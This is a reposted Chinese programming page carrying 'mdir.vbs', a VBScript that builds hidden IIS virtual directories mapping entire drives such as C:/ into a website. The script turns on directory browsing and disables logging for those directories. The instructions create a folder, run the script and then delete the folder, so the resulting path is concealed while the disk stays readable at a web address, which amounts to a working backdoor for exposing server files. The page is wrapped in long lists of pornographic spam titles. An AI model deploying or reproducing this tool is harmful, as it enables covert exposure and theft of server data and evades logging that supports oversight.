亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

mdir.vbs 建立隱藏虛擬目錄的vbs

2020-06-26 18:07:51
字體:
來源:轉載
供稿:網友
建立隱藏虛擬目錄使用。首先要先在對應WEB目錄里建立一個目錄。然后利用腳本直接在Shell中創建虛擬目錄。僅僅為了方便大家使用。方法如下 
C:/>mdir.vbs 
*************************************************************************** 
Usage: MDir <-w WebSite Index> 
<-v Name1,Path1,Name2,Path2,...> 
Example : MDir -w 1 -v "Root/Disk-C","C:/","Root/Disk-D","D:/" 
*************************************************************************** 
Index ServerComment 
___________________________________________________________________________ 
1 asp.com 
2 asp.net 
3 aspx.net 
4 aspx.com 
5 tmp.com 
6 tmp.net 
不加任何參數時,會將IIS中所有主機頭羅列出來。 
如果你想在 asp.com 中創建,則需要記準對應的 Index值。格式如下 
C:/inetpub/wwwroot>md Root 
C:/inetpub/wwwroot>Cscript mdir.vbs -w "1" -v "Root/Disk-c","c:/" 
C:/inetpub/wwwroot>rd Root 
就在此域名下創建了一個隱藏的虛擬目錄。 
訪問方法: 
http://asp.com/Root/Disk-c 
復制代碼代碼如下:

'Lilo 編寫 
'Lilo@Bugkidz.org 
On Error Resume Next 
Dim oArgs, ArgNum, ArgComputer, ArgWebSites, ArgVirtualDirs, ArgDirNames(), ArgDirPaths(), DirIndex, ArgComputers 

Set oArgs = WScript.Arguments 
ArgComputers = Array("LocalHost") 

ArgNum = 0 
While ArgNum < oArgs.Count 

    If (ArgNum + 1) >= oArgs.Count Then 
        Call DisplayUsage 
    End If     
    Select Case LCase(oArgs(ArgNum)) 
        Case "-w": 
            ArgNum = ArgNum + 1 
            ArgWebSites = oArgs(ArgNum) 
        Case "-v": 
            ArgNum = ArgNum + 1 
            ArgVirtualDirs = Split(oArgs(ArgNum), ",", -1) 
        Case "-?" 
            Call DisplayUsage 
    End Select     
    ArgNum = ArgNum + 1 
Wend 
ArgNum = 0 
DirIndex = 0 
MaxWeb = CLng(ListAllWeb(0)) 
If Not IsNumeric(ArgWebSites) Or MaxWeb = 0 Then Call DisplayUsage 
ReDim ArgDirNames((UBound(ArgVirtualDirs)+1) / 2) 
ReDim ArgDirPaths((UBound(ArgVirtualDirs)+1) / 2) 

if isArray(ArgVirtualDirs) then 
    While ArgNum <= UBound(ArgVirtualDirs) 
        ArgDirNames(DirIndex) = ArgVirtualDirs(ArgNum) 
        If (ArgNum + 1) > UBound(ArgVirtualDirs) Then 
            WScript.Echo "Error understanding virtual directories" 
            Call DisplayUsage 
        End If     
        ArgNum = ArgNum + 1 
        ArgDirPaths(DirIndex) = ArgVirtualDirs(ArgNum) 
        ArgNum = ArgNum + 1 
        DirIndex = DirIndex + 1 
    Wend 
end if  

If (ArgWebSites = "") Or (IsArray(ArgDirNames) = False or IsArray(ArgDirPaths) = False) Then 
    Call DisplayUsage 
Else 
    Dim compIndex 
    for compIndex = 0 to UBound(ArgComputers) 
        Call ASTCreateVirtualWebDir(ArgComputers(compIndex),ArgWebSites,ArgDirNames,ArgDirPaths) 
    next 
End If 

Sub Display(Msg) 
    WScript.Echo Now & ". Error Code: " & Hex(Err) & " - " & Msg 
End Sub 

Sub Trace(Msg) 
    WScript.Echo Now & " : " & Msg     
End Sub 

Sub DisplayUsage() 
    WScript.Echo String(75,"*") & vbCrLf & "Usage: MDir <-w WebSite Index>" & vbCrLf & "            <-v Name1,Path1,Name2,Path2,...>" & vbCrLf & "Example : MDir -w 1 -v ""Root/Disk-C"",""C:/"",""Root/Disk-D"",""D:/""" & vbCrLf & String(75,"*") & vbCrLf & ListAllWeb(1) 
    WScript.Quit 
End Sub 

Sub ASTCreateVirtualWebDir(ComputerName,WebSiteName,DirNames,DirPaths) 
    Dim Computer, webSite, WebSiteID, vRoot, vDir, DirNum 
    On Error Resume Next 
    Set webSite = GetObject("IIS://Localhost/W3SVC/" & WebSiteName) 
    if IsObject(webSite) then 
        set vRoot = webSite.GetObject("IIsWebVirtualDir", "Root") 
        Trace "Accessing Root For " & webSite.ADsPath 
        If (Err <> 0) Then 
            Display "Unable To Access Root for " & webSite.ADsPath 
        Else 
            DirNum = 0 
            If (IsArray(DirNames) = True) And (IsArray(DirPaths) = True) And (UBound(DirNames) = UBound(DirPaths)) Then 
                While DirNum < UBound(DirNames) 
                    Set vDir = vRoot.Create("IIsWebVirtualDir",DirNames(DirNum)) 
                    If (Err <> 0) Then 
                        Display "Unable To Create " & vRoot.ADsPath & "/" & DirNames(DirNum) &"." 
                    Else 
                        vDir.EnableDirBrowsing      = True 
                        vDir.DirBrowseShowDate      = False 
                        vDir.DirBrowseShowTime      = False 
                        vDir.DirBrowseShowSize      = False 
                        vDir.DirBrowseShowExtension = False 
                        vDir.DirBrowseShowLongDate  = True 
                        vDir.DirBrowseFlags         = -1073741762 
                        vDir.AccessRead             = True 
                        vDir.AccessWrite            = False 
                        vDir.AccessExecute          = False 
                        vDir.AccessScript           = False 
                        vDir.AccessSource           = False 
                        vDir.AccessNoRemoteRead     = False 
                        vDir.AccessNoRemoteWrite    = False 
                        vDir.AccessNoRemoteExecute  = False 
                        vDir.AccessNoRemoteScript   = False 
                        vDir.AppIsolated            = 1 
                        vDir.AccessFlags            = 1 
                        vDir.ContentIndexed         = False 
                        vDir.CreateProcessasUser    = False 
                        vDir.DontLog                = True 
'                        vDir.DefaultDoc             = "" 
                        vDir.EnableDefaultDoc       = False 
                        vDir.AppFriendlyName        = "" 
                        vDir.AppCreate2 3 
                        vDir.Path = DirPaths(DirNum) 
                        If (Err <> 0) Then 
                            Display "Unable To Bind Path " & DirPaths(DirNum) & " to " & vRootName & "/" & DirNames(DirNum) & ". Path may be invalid." 
                        Else 
                            'Save the changes 
                            vDir.SetInfo 
                            If (Err <> 0) Then 
                                Display "Unable To Save Configuration For " & vRootName & "/" & DirNames(DirNum) &"." 
                            Else 
                                Trace "Web Virtual Directory " & vRootName & "/" & DirNames(DirNum) & " created successfully." 
                            End If 
                        End If 
                    End If 
                    Err = 0 
                    DirNum = DirNum + 1 
                Wend 
            End If 
        End If 
    else 
        Display "Unable To Find "& WebSiteName &" on "& ComputerName 
    End if 
    Trace "Done." 
End Sub 

Function ListAllWeb(n) 
    Set ObjService=GetObject("IIS://LocalHost/W3SVC") 
    If n = 1 Then ListAllWeb = "" Else ListAllWeb = 0 
    For Each obj3w In objservice 
        If IsNumeric(obj3w.Name) Then 
            sServerName=Obj3w.ServerComment 
            If n = 1 Then 
                ListAllWeb = ListAllWeb & obj3w.Name & String(15-Len(obj3w.Name)," ") & obj3w.ServerComment & vbCrLf 
            Else 
                ListAllWeb = ListAllWeb + 1 
            End If 
        End If 
    Next 
    if n = 1 Then ListAllWeb = "Index" & String(10," ") & "ServerComment" & vbCrLf & String(75,"_") & vbCrLf & ListAllWeb 
    Set ObjService=Nothing 
End Function
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
亚洲精品美女久久| 欧美日韩一区免费| 韩国国内大量揄拍精品视频| 91久久精品国产| 欧美性少妇18aaaa视频| 亚洲美女自拍视频| 国产亚洲欧美aaaa| 欧美日韩福利电影| 亚洲男人7777| 91精品国产91久久| 日韩精品久久久久久久玫瑰园| 91社影院在线观看| 成人xvideos免费视频| 国内揄拍国内精品少妇国语| 欧美激情区在线播放| 亚洲成**性毛茸茸| 日韩精品亚洲精品| 日韩欧美中文字幕在线观看| 亚洲大尺度美女在线| 78色国产精品| 欧美大片va欧美在线播放| 国产成人亚洲综合| 午夜精品蜜臀一区二区三区免费| 色青青草原桃花久久综合| 欧美成人午夜视频| 欧美在线精品免播放器视频| 久久久久久亚洲精品中文字幕| 欧美激情中文字幕在线| 精品国产福利在线| 午夜精品福利电影| 91啪国产在线| 精品国产欧美成人夜夜嗨| 中文字幕在线观看日韩| 久久婷婷国产麻豆91天堂| 中文字幕精品av| 久久精品久久久久电影| 色偷偷av一区二区三区乱| 国产日韩欧美在线播放| 亚洲精品mp4| 97成人精品区在线播放| 国产精品日韩欧美大师| 国产精品网站入口| 国产精品白嫩初高中害羞小美女| 亚洲欧美日韩高清| 97视频在线观看免费高清完整版在线观看| 中文字幕日韩欧美| 成人自拍性视频| 欧美大学生性色视频| 久久精品国产欧美亚洲人人爽| 色综合视频网站| 久久人人97超碰精品888| 亚洲精品中文字幕女同| 亚洲欧美日韩精品久久奇米色影视| 亚洲电影成人av99爱色| 欧美在线视频在线播放完整版免费观看| 国产aⅴ夜夜欢一区二区三区| 亚洲女人天堂网| 欧美成人激情视频免费观看| 2018国产精品视频| 91精品啪在线观看麻豆免费| 国产日本欧美在线观看| 亚洲欧美激情四射在线日| 国产一区二区三区在线播放免费观看| 精品中文字幕在线2019| 国产精品扒开腿做爽爽爽的视频| 国模精品视频一区二区| 亚洲一区二区三区四区视频| 按摩亚洲人久久| 欧美在线观看网址综合| 国产精品久久久久久五月尺| 久久精品99久久香蕉国产色戒| 亚洲韩国欧洲国产日产av| 久久频这里精品99香蕉| 奇门遁甲1982国语版免费观看高清| 欧美成人午夜激情| 国产精品极品美女在线观看免费| 国产一区二区精品丝袜| 国产精品99久久久久久久久久久久| 欧美精品久久一区二区| 国产精品久久久久久久久久东京| 国产精品夜间视频香蕉| 欧美日韩在线影院| 国产亚洲美女久久| 日韩中文字幕在线免费观看| 久久久久久久久久久亚洲| 亚洲网在线观看| 精品久久香蕉国产线看观看亚洲| 中日韩午夜理伦电影免费| 国产成人亚洲综合青青| 欧美视频二区36p| 国产精品久久久久久亚洲影视| 亚洲色图国产精品| 2019国产精品自在线拍国产不卡| 91亚洲va在线va天堂va国| 一区二区国产精品视频| 国产一区二区成人| 国产日韩欧美自拍| 91久久国产精品91久久性色| 欧美国产日韩一区二区| 91免费国产网站| 狠狠久久五月精品中文字幕| 国产精品一香蕉国产线看观看| 亚洲美女黄色片| 狠狠躁夜夜躁人人爽天天天天97| 久久人人爽人人爽爽久久| 奇米一区二区三区四区久久| 97香蕉久久夜色精品国产| 51视频国产精品一区二区| 欧美日本啪啪无遮挡网站| 亚洲视频在线免费观看| 亚洲综合国产精品| 国产精品久久久久av| 久久久免费在线观看| 日韩亚洲精品视频| 97视频免费在线观看| 在线国产精品播放| 成人精品视频久久久久| 国产日韩欧美另类| 亚洲国产一区自拍| 91精品国产综合久久男男| 亚洲日本aⅴ片在线观看香蕉| 中文欧美日本在线资源| 久久91亚洲人成电影网站| 欧美激情国产日韩精品一区18| 在线亚洲午夜片av大片| 日韩av最新在线观看| 亚洲国产精品va| 91精品国产高清久久久久久久久| 亚洲天堂视频在线观看| 日韩欧美国产中文字幕| 国产精品欧美日韩一区二区| 精品久久久91| 亚洲精品久久久久久久久久久久久| 国产精品va在线| 国产日韩欧美日韩大片| 国产精品久久久久7777婷婷| 国产精品色午夜在线观看| 97国产精品视频| 亚洲精品小视频在线观看| 亚洲国产精品系列| 91极品视频在线| 国产一区二区三区精品久久久| 国产精品美女主播在线观看纯欲| 一本色道久久综合狠狠躁篇的优点| 日韩三级成人av网| 日韩电影中文 亚洲精品乱码| 亚州av一区二区| 国产精品99久久久久久白浆小说| xxxxxxxxx欧美| 亚洲激情中文字幕| 亚洲成人黄色网| 91在线看www| 国产精品精品久久久久久| 国产精品久久久久久久久久久新郎| 亚洲欧美日韩中文在线制服| 亚洲精品v天堂中文字幕| 91亚洲人电影| 黑人巨大精品欧美一区二区免费| 久久午夜a级毛片| 色妞久久福利网| 久久手机精品视频| 一区二区三区回区在观看免费视频| 欧美性猛交xxxx乱大交3| 亚洲精品久久久久久下一站|